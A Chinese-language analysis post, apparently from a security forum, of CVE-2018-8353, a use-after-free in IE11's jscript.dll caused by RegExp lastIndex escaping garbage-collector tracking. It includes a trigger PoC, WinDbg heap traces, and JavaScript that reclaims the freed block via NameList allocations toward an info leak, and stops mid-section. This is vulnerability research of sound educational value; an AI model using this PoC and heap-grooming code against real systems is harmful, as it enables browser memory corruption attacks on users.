目录
前言
脚本引擎开发者在设计GC
(Garbage Collect
,简称GC
)时追踪指针不善导致的UAF
(Use-After-Free
)是一类常见的漏洞,这类问题在主流脚本引擎中都比较常见,本文用一个例子来向读者介绍这类漏洞的成因与分析思路。
漏洞简介
CVE-2018-8353
是谷歌的Ivan Fratric
发现的一个jscript
漏洞,该漏洞在2018
年8
月被修复。这是一个UAF
漏洞,Ivan Fratric
在披露页 清晰地描述了该漏洞的成因:
There is a use-after-free vulnerability in jscript.dll related to how the lastIndex property of a RegExp object is handled. This vulnerability can be exploited through Internet Explorer or potentially through WPAD over local network. The vulnerability has been reproduced on multiple Windows versions with the most recent patches applied.
The issue is that lastIndex property of a RegExp object is not tracked by the garbage collector. If you look at RegExpObj::LastIndex you'll see that, on x64, lastIndex gets stored in a VAR at offset 272 (at least in my version), but if you take a look at RegExpObj::ScavengeCore (which gets called by the garbage collector to track various member variables) you'll notice that that offset is not being tracked. This allows an attacker to set the lastIndex property, and after the garbage collector gets trigger, the corresponding variable is going to get freed.
通俗一点说就是RegExp
类的lastIndex
成员没有被加入GC
追踪列表,如果给它赋值,在GC
时会导致lastIndex
处存储的指针变为悬垂指针。后续再访问lastIndex
时,即造成一个典型的Use-After-Free
场景。
jscript
模块目前已发现多个类似漏洞,例如CVE-2017-11793 ,CVE-2017-11903 ,CVE-2018-0866 ,CVE-2018-0935 ,CVE-2018-8353 ,CVE-2018-8653 ,CVE-2018-8389 ,CVE-2019-1429
本文试图通过CVE-2018-8353
一窥这类漏洞的成因,并在此基础上分析谷歌PoC
中的信息泄露利用代码。读者将会看到一个GC
导致的UAF
如何被转化为高质量的信息泄露漏洞。
分析环境
Windows 7 SP1 x86
Windbg
IDA Pro
jscript.dll 5.8.9600.17840 (IE11)
PoC
以下为Ivan Fratric
给出的PoC
,下一小节将通过该PoC
分析漏洞成因。
var vars = [];
var r = new RegExp();
for(var i=0; i<20000; i++) {
vars[i] = "aaaaa";
}
r.lastIndex = "aaaaa";
for(var i=20000; i<40000; i++) {
vars[i] = "aaaaa";
}
vars.length = 0;
CollectGarbage();
alert(r.lastIndex);
1. UAF
@0Patch 团队已通过补丁分析发现,x86
下lastIndex
位于RegExpObj
对象的+A8
偏移处,如下:
现在RegExpObj::Create
函数内下断点,在RegExpObj
对象创建完成后,对其偏移+A8
处下一个硬件写入断点,这个偏移处存储一个VAR
结构体,此结构体在x86
下大小为0x10
。重点观察+B0
处的数据变化。
为了更清晰地解释成因,笔者并没有开启页堆,但开启了用户模式下堆申请的栈回溯,以下为调试日志:
// jscript!RegExpObj::Create
0:014> bp jscript+32a38 "dd eax+a8 l10/4"
0:014> g
034d4ef8 00000003 00000000 00000000 034d4f3c
eax=034d4e50 ebx=05ebb800 ecx=034d4e50 edx=0000000c esi=034d3518 edi=05ebb868
eip=6c092a38 esp=05ebb7b0 ebp=05ebb7c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript!RegExpObj::Create+0x2b:
6c092a38 8903 mov dword ptr [ebx],eax ds:0023:05ebb800=05ebb824
// 034d4ef8位于RegExpObj对象的+0xA8处
0:014> !heap -p -a 034d4ef8
address 034d4ef8 found in
_HEAP @ 240000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
034d4e38 001b 0000 [00] 034d4e50 000c0 - (busy)
jscript!RegExpObj::`vftable'
Trace: 813c95c
770cddac ntdll!RtlAllocateHeap+0x00000274
771d9d45 msvcrt!malloc+0x0000008d
771db0d7 msvcrt!operator new+0x0000001d
6c092a25 jscript!RegExpObj::Create+0x00000018
6c09287f jscript!RegExpFncObj::Construct+0x00000077
6c06efb0 jscript!NameTbl::InvokeInternal+0x00000338
6c06453c jscript!VAR::InvokeByDispID+0x00000053
6c06f024 jscript!CScriptRuntime::Run+0x00002013
6c0648ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f
6c064783 jscript!ScrFncObj::Call+0x0000007b
6c064cc3 jscript!CSession::Execute+0x0000023d
6c073677 jscript!COleScript::ExecutePendingScripts+0x0000016b
6c0751e3 jscript!COleScript::ParseScriptTextCore+0x00000206
6c074fc9 jscript!COleScript::ParseScriptText+0x00000029
65ca58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051
65fb25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193
65ca6669 MSHTML!CScriptData::CommitCode+0x00000370
65ca6204 MSHTML!CScriptData::Execute+0x000002a9
65ca6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130
65ab2c60 MSHTML!CHtmParseBase::Execute+0x00000196
65dc246c MSHTML!CHtmPost::Broadcast+0x0000007d
659e60f8 MSHTML!CHtmPost::Exec+0x000005d9
65a6fc08 MSHTML!CHtmPost::Run+0x0000003d
65a6fb6e MSHTML!PostManExecute+0x00000061
65a7a826 MSHTML!PostManResume+0x0000007b
65a64027 MSHTML!CDwnChan::OnMethodCall+0x0000003e
658ee541 MSHTML!GlobalWndOnMethodCall+0x0000016d
658ede4a MSHTML!GlobalWndProc+0x000002e5
7663c4e7 user32!InternalCallWinProc+0x00000023
7663c5e7 user32!UserCallWinProcCheckWow+0x0000014b
7663cc19 user32!DispatchMessageWorker+0x0000035e
7663cc70 user32!DispatchMessageW+0x0000000f
// 对VAR结构体偏移+0x08处下写入断点
0:014> ba w4 034d4f00 "dd 034d4ef8 l4"
0:014> g
034d4ef8 00000003 00000000 00000000 034d4f3c // 第1次命中
eax=00000003 ebx=034d4e50 ecx=00000000 edx=00000000 esi=00000000 edi=03471b38
eip=6c092cdf esp=05ebb6c8 ebp=05ebb7a0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript!RegExpObj::Compile+0x26e:
6c092cdf 89b3b8000000 mov dword ptr [ebx+0B8h],esi ds:0023:034d4f08=00000000
0:014> g
034d4ef8 00000080 00000009 087e1688 034d4f3c // 第2次命中,此时VAR内存储着一处引用
eax=00000000 ebx=034d4e50 ecx=00000001 edx=034d4850 esi=034d485c edi=034d4f04
eip=6c092381 esp=05ebb768 ebp=05ebb78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript!RegExpObj::LastIndex+0x5f:
6c092381 a5 movs dword ptr es:[edi],dword ptr [esi] es:0023:034d4f04=034d4f3c ds:0023:034d485c=05ebb8f0
// 解引用,发现存储着一个字符串类型的VAR
0:014> dd 087e1688 l4
087e1688 00000082 00000000 034d5b50 03480c28
// 存储的正是之前写入的字符串
0:014> du 034d5b50
034d5b50 "aaaaa"
// 查看VAR所位于的堆申请信息
0:014> !heap -p -a 087e1688
address 087e1688 found in
_HEAP @ 240000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
087e1118 00d1 0000 [00] 087e1130 00648 - (busy)
Trace: 813d988
770cddac ntdll!RtlAllocateHeap+0x00000274
771d9d45 msvcrt!malloc+0x0000008d
771db0d7 msvcrt!operator new+0x0000001d
6c06f639 jscript!GcBlockFactory::PblkAlloc+0x00000031
6c0648ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f
6c064783 jscript!ScrFncObj::Call+0x0000007b
6c064cc3 jscript!CSession::Execute+0x0000023d
6c073677 jscript!COleScript::ExecutePendingScripts+0x0000016b
6c0751e3 jscript!COleScript::ParseScriptTextCore+0x00000206
6c074fc9 jscript!COleScript::ParseScriptText+0x00000029
65ca58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051
65fb25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193
65ca6669 MSHTML!CScriptData::CommitCode+0x00000370
65ca6204 MSHTML!CScriptData::Execute+0x000002a9
65ca6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130
65ab2c60 MSHTML!CHtmParseBase::Execute+0x00000196
65dc246c MSHTML!CHtmPost::Broadcast+0x0000007d
659e60f8 MSHTML!CHtmPost::Exec+0x000005d9
65a6fc08 MSHTML!CHtmPost::Run+0x0000003d
65a6fb6e MSHTML!PostManExecute+0x00000061
65a7a826 MSHTML!PostManResume+0x0000007b
65a64027 MSHTML!CDwnChan::OnMethodCall+0x0000003e
658ee541 MSHTML!GlobalWndOnMethodCall+0x0000016d
658ede4a MSHTML!GlobalWndProc+0x000002e5
7663c4e7 user32!InternalCallWinProc+0x00000023
7663c5e7 user32!UserCallWinProcCheckWow+0x0000014b
7663cc19 user32!DispatchMessageWorker+0x0000035e
7663cc70 user32!DispatchMessageW+0x0000000f
683cf7c8 IEFRAME!DllCanUnloadNow+0x00007e48
6851f738 IEFRAME!SetQueryNetSessionCount+0x00000eb8
764be61c iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
72043991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
// GC后再次访问lastIndex成员,触发访问违例
0:014> g
(bbc.47c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000008f ebx=087e1688 ecx=00000000 edx=00000001 esi=05ebb834 edi=034d4860
eip=6c067082 esp=05ebb7b0 ebp=05ebb7e4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
jscript!PrepareInvoke+0x133:
6c067082 663903 cmp word ptr [ebx],ax ds:0023:087e1688=????
// RegExpObj.lastIndex处的指针未被GC清扫
0:014> dd 034d4ef8 l4
034d4ef8 00000080 00000009 087e1688 05ebb8f0
// 原先存储字符串VAR的地方此时已经被free
0:014> !heap -p -a 087e1688
address 087e1688 found in
_HEAP @ 240000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
087dc290 1002 0000 [00] 087dc298 08008 - (free)
2. 重占位
到这里已经获得一个非常好的UAF
,接下来的问题是:如何使用它?
从调试日志中可以看出,用来存储VAR
变量的内存块是从GcBlockFactory::PblkAlloc
申请的,x86
下其申请大小固定为0x648
(这篇文章 有解释为什么x86
下这个大小是0x648
):
如果要重用被释放的内存,得在GC
后迅速用大小为0x648
的内存申请去占用之。如何做到?
一个比较好的方法是借助NameList
。jscript
对象在创建成员变量时,如果成员变量的名称过长(谷歌的文章中说这个长度阈值为4
),会在NameList::FCreateVval
函数内单独申请内存,以存储对应的成员变量,并且会以第一个成员名称的长度去申请特定大小的内存,而相关计算公式是固定的。
通过逆向调试,可以得到x86
下的计算公式:
alloc_size = (2x + 0x32) * 2 + 4 // x为类对象第一个自定义成员名长度,完全可控
现在,令alloc_size=0x648
,解上述方程,可得到x=0x178(0n376)
。于是可以通过下面的代码重用被释放的内存:
// makes NameList allocation of exactly 0x648 bytes
var name1 = Array(377).join('a');
for(var i=0; i<500; i++) {
var o = {};
objects[i] = o;
}
// allocate NameList blocks over freed allocations
for(var i=0; i<500; i++) {
objects[i][name1] = 1;
}
在调试器中观察验证重用:
0:014> g
037751a0 00000080 00000000 0a4efa18 00000000
eax=00000000 ebx=037750f8 ecx=00000001 edx=03755000 esi=0375500c edi=037751ac
eip=6dc42381 esp=062fb250 ebp=062fb274 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript!RegExpObj::LastIndex+0x5f:
6dc42381 a5 movs dword ptr es:[edi],dword ptr [esi] es:0023:037751ac=00000000 ds:0023:0375500c=00000000
0:014> !heap -p -a 0a4efa18
address 0a4efa18 found in
_HEAP @ 20000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0a4ef628 00d1 0000 [00] 0a4ef640 00648 - (busy)
Trace: 86b6c38
770cddac ntdll!RtlAllocateHeap+0x00000274
771d9d45 msvcrt!malloc+0x0000008d
771db0d7 msvcrt!operator new+0x0000001d
6dc1f639 jscript!GcBlockFactory::PblkAlloc+0x00000031 <- 此时为VARs所用的内存
6dc148ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f
6dc14783 jscript!ScrFncObj::Call+0x0000007b
6dc14688 jscript!NameTbl::InvokeInternal+0x000002cb
6dc1453c jscript!VAR::InvokeByDispID+0x00000053
6dc144a7 jscript!CScriptRuntime::Run+0x000012b9
6dc148ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f
6dc14783 jscript!ScrFncObj::Call+0x0000007b
6dc14cc3 jscript!CSession::Execute+0x0000023d
6dc23677 jscript!COleScript::ExecutePendingScripts+0x0000016b
6dc251e3 jscript!COleScript::ParseScriptTextCore+0x00000206
6dc24fc9 jscript!COleScript::ParseScriptText+0x00000029
65ca58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051
65fb25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193
65ca6669 MSHTML!CScriptData::CommitCode+0x00000370
65ca6204 MSHTML!CScriptData::Execute+0x000002a9
65ca6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130
65ab2c60 MSHTML!CHtmParseBase::Execute+0x00000196
65dc246c MSHTML!CHtmPost::Broadcast+0x0000007d
659e60f8 MSHTML!CHtmPost::Exec+0x000005d9
65a6fc08 MSHTML!CHtmPost::Run+0x0000003d
65a6fb6e MSHTML!PostManExecute+0x00000061
65a7a826 MSHTML!PostManResume+0x0000007b
65a64027 MSHTML!CDwnChan::OnMethodCall+0x0000003e
658ee541 MSHTML!GlobalWndOnMethodCall+0x0000016d
658ede4a MSHTML!GlobalWndProc+0x000002e5
7663c4e7 user32!InternalCallWinProc+0x00000023
7663c5e7 user32!UserCallWinProcCheckWow+0x0000014b
7663cc19 user32!DispatchMessageWorker+0x0000035e
0:014> g
(fd4.1dc): Break instruction exception - code 80000003 (first chance)
eax=7ff94000 ebx=00000000 ecx=00000000 edx=770ef1d3 esi=00000000 edi=00000000
eip=77084108 esp=08a3fc34 ebp=08a3fc60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77084108 cc int 3
0:023> !heap -p -a 0a4efa18
address 0a4efa18 found in
_HEAP @ 20000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0a4ef628 00d1 0000 [00] 0a4ef630 00680 - (free) // GC后这块内存被回收
0:023> g
(fd4.6e8): Break instruction exception - code 80000003 (first chance)
eax=7ffdd000 ebx=00000000 ecx=00000000 edx=770ef1d3 esi=00000000 edi=00000000
eip=77084108 esp=089efb9c ebp=089efbc8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77084108 cc int 3
0:002> !heap -p -a 0a4efa18
address 0a4efa18 found in
_HEAP @ 20000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0a4ef628 00d1 0000 [00] 0a4ef640 00648 - (busy)
Trace: 4c96e30
770cddac ntdll!RtlAllocateHeap+0x00000274
771d9d45 msvcrt!malloc+0x0000008d
6dc1971b jscript!NameList::FCreateVval+0x0000018d <- 重占位变为Namelist申请的内存
6dc19769 jscript!NameTbl::CreateVval+0x00000023
6dc2c8c6 jscript!NameTbl::SetVal+0x00000057
6dc2d5b5 jscript!VAR::InvokeByName+0x0000077f
6dc32cd6 jscript!VAR::InvokeByVar+0x00000120
6dc2eae0 jscript!CScriptRuntime::Run+0x00001d33
6dc148ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f
6dc14783 jscript!ScrFncObj::Call+0x0000007b
6dc14688 jscript!NameTbl::InvokeInternal+0x000002cb
6dc1453c jscript!VAR::InvokeByDispID+0x00000053
6dc144a7 jscript!CScriptRuntime::Run+0x000012b9
6dc148ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f
6dc14783 jscript!ScrFncObj::Call+0x0000007b
6dc14cc3 jscript!CSession::Execute+0x0000023d
6dc23677 jscript!COleScript::ExecutePendingScripts+0x0000016b
6dc251e3 jscript!COleScript::ParseScriptTextCore+0x00000206
6dc24fc9 jscript!COleScript::ParseScriptText+0x00000029
65ca58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051
65fb25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193
65ca6669 MSHTML!CScriptData::CommitCode+0x00000370
65ca6204 MSHTML!CScriptData::Execute+0x000002a9
65ca6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130
65ab2c60 MSHTML!CHtmParseBase::Execute+0x00000196
65dc246c MSHTML!CHtmPost::Broadcast+0x0000007d
659e60f8 MSHTML!CHtmPost::Exec+0x000005d9
65a6fc08 MSHTML!CHtmPost::Run+0x0000003d
65a6fb6e MSHTML!PostManExecute+0x00000061
65a7a826 MSHTML!PostManResume+0x0000007b
65a64027 MSHTML!CDwnChan::OnMethodCall+0x0000003e
658ee541 MSHTML!GlobalWndOnMethodCall+0x0000016d
// 相关内存已变为可控数据
0:002> dc 0a4ef640
0a4ef640 00000000 03750003 0000270e 00000001 ......u..'......
0a4ef650 00000000 00000000 00000000 d2a7c4b8 ................
0a4ef660 000002f0 00000000 00000000 00000001 ................
0a4ef670 0375350c 00610061 00610061 00610061 .5u.a.a.a.a.a.a.
0a4ef680 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0a4ef690 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0a4ef6a0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
0a4ef6b0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
3. 从UAF到信息泄露
前一小节已经在合适的时机控制了被Free
的内存,接下来要通过这个UAF
漏洞实现信息泄露,以得到被重用内存的起始地址。
NameList::FCreateVval
NameList::FCreateVval
函数内在申请成员变量名内存时,若成员名长度超过一定值,就会额外申请内存去存储这些名称。第一个成员名可以用来控制申请的内存大小,相关计算过程已经在前面说明。后面的成员名称只要长度合适,就可以在第一个成员名称初始化时申请的内存中使用剩余的部分,从而用来布控内存。
[注意]看雪招聘,专注安全领域的专业人才平台!
最后于 2020-7-27 15:10
被银雁冰编辑
,原因: